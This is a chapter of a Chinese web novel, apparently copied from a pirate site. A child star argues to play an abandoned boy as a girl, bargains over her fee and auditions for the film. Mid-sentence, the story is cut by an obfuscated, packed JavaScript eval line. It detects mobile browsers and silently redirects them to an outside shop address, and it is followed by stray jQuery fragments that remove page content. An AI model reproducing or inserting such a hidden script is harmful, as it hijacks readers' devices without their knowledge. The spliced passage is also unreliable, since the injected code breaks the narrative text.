李夕昭第一次读《大人们不懂》的剧本，并不是很想出演。
剧情并不复杂。落魄拳击手俊偶然收留了无家可归的男孩民勇，并把他送进幼儿园。民勇在那里认识了甜甜、公主等朋友，也让俊和幼儿园教师有罗有了接触的机会，两个人逐渐相爱，和民勇短暂地组成了一个三口之家。然而，俊去参加拳击集训之后，福利机构替民勇安排了海外收养。民勇从机构逃出来寻找俊和有罗，最终仍被送往国外。
制作公司是忠武路老牌电影公司世光，知名青春片导演崔基焕担任导演和编剧。片方想让李夕昭出演的，是“公主”这个角色，一个有些任性、古灵精怪的小女孩。
李夕昭兴致缺缺。金昌赫看出来了，说：“《土地》这样的剧本是可遇不可求的，你这个年龄，大部分角色都是像这样，演一些小孩间的打打闹闹。你还不明白，早点进入电影圈对你很有好处。像我，这一辈子都难有拍电影的机会了。”
李夕昭再度拿起剧本，眉头皱成了一个“川”。
金昌赫看不下去了：“好了好了，不想演就不演，还会有好机会的。我也觉得，你应该安心在学校上几天学。我可不想像金慧绣她妈一样，孩子还在读高中，戏是一部一部接。她才从《思母曲》的片场出来多久，又接这部电影，学习能跟上吗……”
李夕昭赶紧问：“什么？金慧绣要演这部电影？”她又扫了一眼：“她要演有罗？”
“是啊。”
“我要演。”李夕昭异常坚定。
金昌赫被她逗笑了：“这么喜欢金慧绣？你早说啊，早说我就不必费这么多口舌。”
李夕昭把剧本又看了一遍。“但我不演公主。”
金昌赫不懂：“那你演谁？”
“民勇。”
金昌赫拿着遥控器的手停住了。他先确认自己没听错，才说：“民勇是男孩。”
“我看见了。但是他的性别属性没那么强。也就是说，把他换成个女孩，其实对电影剧情没有任何影响。”
金昌赫无奈地看着她：“夕昭，你有点异想天开了，导演能同意吗？”
“不试试怎么知道。”李夕昭说，“他不同意，我就回来继续上学呗，又没有什么损失。”
金昌赫盯着她看了一会儿，伸手拿过剧本。他已经习惯了李夕昭不像个普通孩子，但是她总是时不时让他“惊喜”。看着封面的大字，“大人们不懂”，金昌赫想，我真是不懂。虽然导演也是大人，但愿他能懂。
“先去睡觉。”他说，“明天我替你问。”
三天以后，金昌赫带她去了忠武路。
事实证明，崔基焕也不懂。
他们在世光电影公司的办公室见面，制片人李承元也在场。
桌上放着李夕昭的资料和几张《土地》的剧照。一张是第一幕的西姬，另一张是码头上杀青的西姬。两张照片，完全像是两个人。
眼前人像第三个。
崔基焕问：“你说，你想演民勇？”
“对。”
“为什么？”
李夕昭照实说：“因为剧情中民勇只是个被遗弃的孩子，不一定非要是被遗弃的男孩。你们太习惯默认角色性别为男了。”
崔基焕开始真正感兴趣了：“这说法倒新鲜。可是，民勇和俊住在一起。一个没有结婚的年轻男人照顾男孩，观众容易接受；换成女孩，很多地方都会变得麻烦。”
这一点李夕昭倒是没想到，她跟她爸生活的麻烦太多了，性别差异根本排不上号。但是她也不甘示弱：“那这么说的话，一个健康的女孩被遗弃，观众也更容易接受。一个健康男孩被遗弃，在大韩民国，不觉得很奇怪吗？”
崔基焕被问住了。
李夕昭再接再厉：“前半段剧情是偏喜剧的，性别冲突也方便制造一些笑点。而且，这不是让俊和有罗的感情戏更合理了吗？俊独自照顾女孩不方便，有罗需要尽快介入。”
李承元笑了一声，转头看金昌赫：“你教她的？”
金昌赫端着没喝的茶，连连摆手：“我可教不了这些。”
李承元翻了翻桌上的资料，说：“你是个聪明的孩子，我就有话直说了。你是现在电视剧单集报价最高的童星，你知道在你之前，这个记录由谁保持吗？”
李夕昭摇摇头。
“李建朱。他是1981年3月生的，比你小几个月，但他出道比你还早。前年，他出演了MBS的王牌剧集《同一屋檐下的三家人》，是在你之前国民度最高的童星。我们也邀请了他，出演甜甜的角色，而不是演民勇，你知道为什么吗？”
李夕昭想，你都说这么明白了，那还能为什么：“因为我们太贵了。”
李承元抚掌大笑：“是的。天啊，你太有意思了。没错，因为你们太贵了。请你们来客串，既可以借你们的知名度宣传，又不用花多少片酬。要是请你来演主角，这部电影承担的风险可就大了。”
李夕昭鼓起了腮帮子。这样的话，那就没什么可谈了。商人逐利，有性价比更高的选择，为什么不用呢。
可是，她眼珠一转，这逻辑不对啊：“我记得，你们让我演“公主”，报价是一百二十万，也不算很低啊。即使让我出演主角，又能高多少呢？”
李承元想点支烟，但是刚拿起来，李夕昭就瞪圆了眼睛，他笑着放下了。“如果你来演民勇，片酬不会低于三百万。你可能觉得，这一百八十万也不算多，但账不能这么算的。你知道，纯新人演员来演民勇的片酬要多少吗？”
李夕昭现在也不是一无所知的初丁了，她在心里估算了一下：“不会超过五十万。”
“是的。所以，如果我要用你来做主演，不仅仅是要把男孩改成女孩的问题。我要向公司解释，为什么我要多花二百五十万甚至三百万，雇用你做女主角。你要知道，这部电影的所有演员片酬预算，一共两千多万，在你身上要多花十分之一。”
李夕昭露出了进门以来第一个笑容，话说到这个份上，那就是有回旋余地啊，不然干嘛说这么多呢：“可是，如果我演公主，我和民勇总价一百七十万。如果我演民勇，新人出演公主的片酬可以压到二十万，我和她总价三百二十万。当然，一百五十万的差距也不算小，但是《土地》的经验告诉我，预算是可以追加的。如果我给电影带来的收益，能大过这一百五十万呢？”
李承元不笑了。
崔基焕从刚才一直在沉默，这会儿终于说话了：“我们不用李建朱，也不仅仅是钱的问题。他的形象实在不适配。你比他稍好一点。既然你想演民勇，那就下周来试镜吧。你能演好西姬，不代表你就能演好民勇。”
“好。”
李夕昭从椅子上下来，向两个人鞠躬。崔基焕看着她走出去，低头重新翻开《土地》的剧照。
李承元终于点上了刚才没能点上的烟：“李建朱6岁能演戏，李夕昭9岁能谈片酬。现在的孩子，真是可怕啊……是我已经太老了吗？”我今年也才三十出头，是制作部最年轻的副部长啊。“你真打算为了她改民勇的性别？”
“先试试看吧。”崔基焕说。“看她下周的表现，能不能像今天一样让人惊喜。”
这次是所有候选人集体试镜。与其说是试镜，不如说是小孩过家家。没有正式台词，只有一个场景：桌上放着一个蛋糕，孩子们要在大人回来以前把蛋糕弄坏，再设法把责任推给别人。
导演讲完情况，直接喊开始。
李夕昭一下就愣住了。她一时没动作，李建朱已经先伸手在蛋糕边上挖了一块奶油，直接抹到了旁边男孩的鼻子上。那个男孩立刻扑过去追他，桌子被撞得歪向一边。
李夕昭忙去扶桌子。李建朱从她旁边钻过去，又往她嘴边递了一根沾满奶油的手指：“你也吃。吃了你就是带头的。”
李夕昭下意识向后推了一步。
“我不喜欢甜的。”她说。
“停。”崔基焕从监视器后抬起头，“李夕昭，你像个隔岸观火的大人。重来。”
李夕昭内心深处涌上一种无力感。
第二遍，李建朱刚伸手，她抢先把蛋糕拖到自己面前，也学着用手挖奶油。但是她实在没办法就这么放进嘴里。这一停顿，崔基焕又喊了停。
李夕昭靠着墙边坐下，默默抱紧自己。装小孩太难了。
门从外面推开，金慧绣夹着几本参考书走了进来。她刚从学校赶过来，外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949191|214125||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
套里面还穿着校服，头发被风吹得有些乱。工作人员叫她去换衣服，她先看见了墙边的李夕昭。
“李夕昭？”她脱口而出，“你也来试镜？你要演公主？”
李夕昭站起来：“姐姐。我想演民勇。”
“民勇不是男孩吗？”
“所以还没选上。”
金慧绣看了一眼正在回放的监视器，很快明白问题出在哪里。她从桌边用手指抹了一小块剩下的奶油，趁人不备点在她鼻尖上。
李夕昭愣住了。
“你看，你又在想该有什么反应。”金慧绣笑着跑开，“一般的小孩现在已经追过来了。”
李夕昭抬手擦掉奶油，努力克服心理障碍，慢慢舔了一下手指。很甜，也不算难吃。她抬头看向金慧绣，忽然端起桌上那只已经空了的蛋糕盘追了过去。
金慧绣提着书往工作人员身后躲。排练室里刚安静下来的孩子又开始起哄。崔基焕坐在监视器后看了一会儿，对助理说：“下午那一场，再让她试一次。”
第二场设在儿童福利机构的走廊。民勇坐在走廊里，听见屋里的大人商量他的海外收养。有罗从屋里出来，负责把这个消息告诉他。
这次不需要儿童群戏。金慧绣已经换上有罗的衣服，坐在门后与工作人员对词。李夕昭手里拿着一个牛皮纸信封，里面放着外国夫妇的照片和几张她看不懂的材料。
导演对她说：“你之前只知道有人想收养你，不知道已经定下来了。屋里的人说话你听不全，只能听见一部分。这一条，你不能哭。”
李夕昭不明白：“为什么不能哭？”这是很难过的戏啊。
导演站起身来：“你的哭戏我看过很多场。我想看看你不哭的表演。”
李夕昭在长椅上坐好。她的脚碰不到地面，鞋尖轻轻晃着。摄影机开动以后，玻璃后面传来含混的说话声。福利机构的工作人员在讲护照和离境日期。
她的脚慢慢停了。
李夕昭低头抽出信封里的照片。照片上是一对陌生夫妇，站在一栋带尖屋顶的房子前面。她看了很久，把照片放回去，信封口却怎么也合不严。她用手指压了两次，最后把它扔到一边。
屋里的谈话停住。门打开，金慧绣走了出来。
李夕昭立刻站起来，仰头问她：“老师，你是来接我回幼儿园的吗？”
有罗蹲下来，平视她：“民勇，老师有话跟你说。”
民勇雀跃地说：“我们走吧。我明天要把彩色铅笔还给甜甜，我们说好了要一起画画。”
有罗已经很难过，但还是挤出一个笑：“那件事以后再说。”
民勇看着老师的眼神，想想刚才听到的内容，她还在勉强地笑，慢吞吞地问：“为什么要以后？”
有罗张了张嘴。她还没说出收养两个字，民勇已经从她的神情里得到了答案。孩子脸上的笑意一点点落下来。她低头看了看脚边的信封。
“俊叔叔知道吗？”
有罗没有及时回答。
民勇点了一下头：“那就是他也同意了。”
“不是因为他不要你。”金慧绣伸手拉她，“他去训练了，电话一直打不通。民勇，你先听我说——”
民勇没有甩开她。她只是站在那里，任由有罗握着自己的手，过了一会儿才问：“那为什么没有人问我？”
声音很轻，没有哭腔。
金慧绣握着她的手，忽然说不出下一句台词。剧本上写的是有罗安慰孩子，告诉她国外的爸爸妈妈会对她很好。可是眼前的人正在等她回答，那双眼睛那么通透，那些废话好像突然没有必要再说。
她把李夕昭抱进怀里。李夕昭抬手，紧紧抱住有罗，又突然松开。
“停。”崔基焕说。
当天又试了其他的几个情节，一直拍到傍晚。回去以前，制作组没有给出结果，只说还要看录像、核算改剧本的工作量。李夕昭走出大门，忠武路已经亮起灯。金昌赫问她觉得怎么样，她说第一场很差，第二场还可以。
金昌赫又问：“那你觉得能不能选上？”
李夕昭摇摇头：“不知道。”
她心里没底，完全不像《土地》那么有信心。